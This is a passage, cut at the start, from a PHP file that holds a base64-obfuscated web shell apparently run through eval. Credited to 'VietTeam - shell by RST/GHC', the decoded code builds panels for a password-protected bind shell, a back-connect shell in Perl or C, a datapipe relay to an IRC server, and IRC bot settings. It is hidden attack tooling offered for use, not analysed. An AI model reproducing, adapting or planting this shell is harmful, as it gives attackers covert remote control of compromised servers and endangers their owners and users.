VjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3BvcnQnLDE1LCc5OTk5JykpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTEnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnYmluZF9wYXNzJywxNSwnU25JcEVyJykpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjAnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IHNpemU9XCIxXCIgbmFtZT1cInVzZVwiPjxvcHRpb24gdmFsdWU9XCJQZXJsXCI+UGVybDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJDXCI+Qzwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvIHNyKDQwLCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDMnXSkpOw0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zMyU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMiddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdpcCcsMTUsKChnZXRlbnYoJ1JFTU9URV9BRERSJykpID8gKGdldGVudignUkVNT1RFX0FERFInKSkgOiAoIjEyNy4wLjAuMSIpKSkpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywncG9ydCcsMTUsJzgwJykpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjAnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IHNpemU9XCIxXCIgbmFtZT1cInVzZVwiPjxvcHRpb24gdmFsdWU9XCJQZXJsXCI+UGVybDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJDXCI+Qzwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvIHNyKDQwLCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDQnXSkpOw0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zMyU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMiddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NhbF9wb3J0JywxNSwnODAnKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyNCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdyZW1vdGVfaG9zdCcsMTUsJ2lyYy5kYWxuZXQucnUnKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdyZW1vdGVfcG9ydCcsMTUsJzY2NjcnKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyNiddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwidXNlXCI+PG9wdGlvbiB2YWx1ZT1cIlBlcmxcIj5kYXRhcGlwZS5wbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJDXCI+ZGF0YXBpcGUuYzwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvIHNyKDQwLCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDUnXSkpOw0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuIjwvdHI+PC9kaXY+PC90YWJsZT4iOw0KfQ0KDQppZigkdW5peCl7DQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MSddLCdpZDIxJykuJHRhYmxlX3VwMi5kaXYoJ2lkMjEnKS4kdHMuIjx0cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzQlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTInXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjE0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2lyY2FkbWluJywxNSwnaXJjYWRtaW4nKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMTUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnaXJjc2VydmVyJywxNSwnaXJjc2VydmVyJykpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjE2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2lyY2NoYW5hbCcsMTUsJ2lyY2NoYW5sJykpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjE3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2lyY25hbWUnLDE1LCdpcmNuYW1lJykpOw0KZWNobyBzcig0MCwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ0J10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzMlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTInXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnaXBzJywxNSwoKGdldGVudignUkVNT1RFX0FERFInKSkgPyAoZ2V0ZW52KCdSRU1PVEVfQUREUicpKSA6ICgiMTI3LjAuMC4xIikpKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdwb3J0cycsMTUsJzgwJykpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjAnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IHNpemU9XCIxXCIgbmFtZT1cInVzZVwiPjxvcHRpb24gdmFsdWU9XCJQZXJsXCI+UGVybDwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvIHNyKDQwLCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDQnXSkpOw0KDQplY2hvICR0ZS4iPC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7DQp9DQplY2hvICc8L3RhYmxlPicuJHRhYmxlX3VwMy4iPC9kaXY+PC9kaXY+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPm8tLS1bIFZpZXRUZWFtIC0gc2hlbGwgYnkgUlNUL0dIQyB8IDxhIGhyZWY9aHR0cDovL1ZpZXRUZWFtLlZuPmh0dHA6Ly9WaWV0VGVhbS5WbjwvYT4gfCA8YSBocmVmPWh0dHA6Ly9oY2Vncm91cC5uZXQ+SEBjaytDckBjaz1FbmoweSE8L2E+IHwgRGVzaWduIGJ5OiBBbHVDYVIgfCB2ZXJzaW9uICIuJHZlcnNpb24uIiBdLS0tbzwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsNCmVjaG8iQWx1Q2FSICsgVGlub28gKyBCb3lCdW9uICsgTGVvOXggKyBYY3Jvc3M4NyI7'));
?>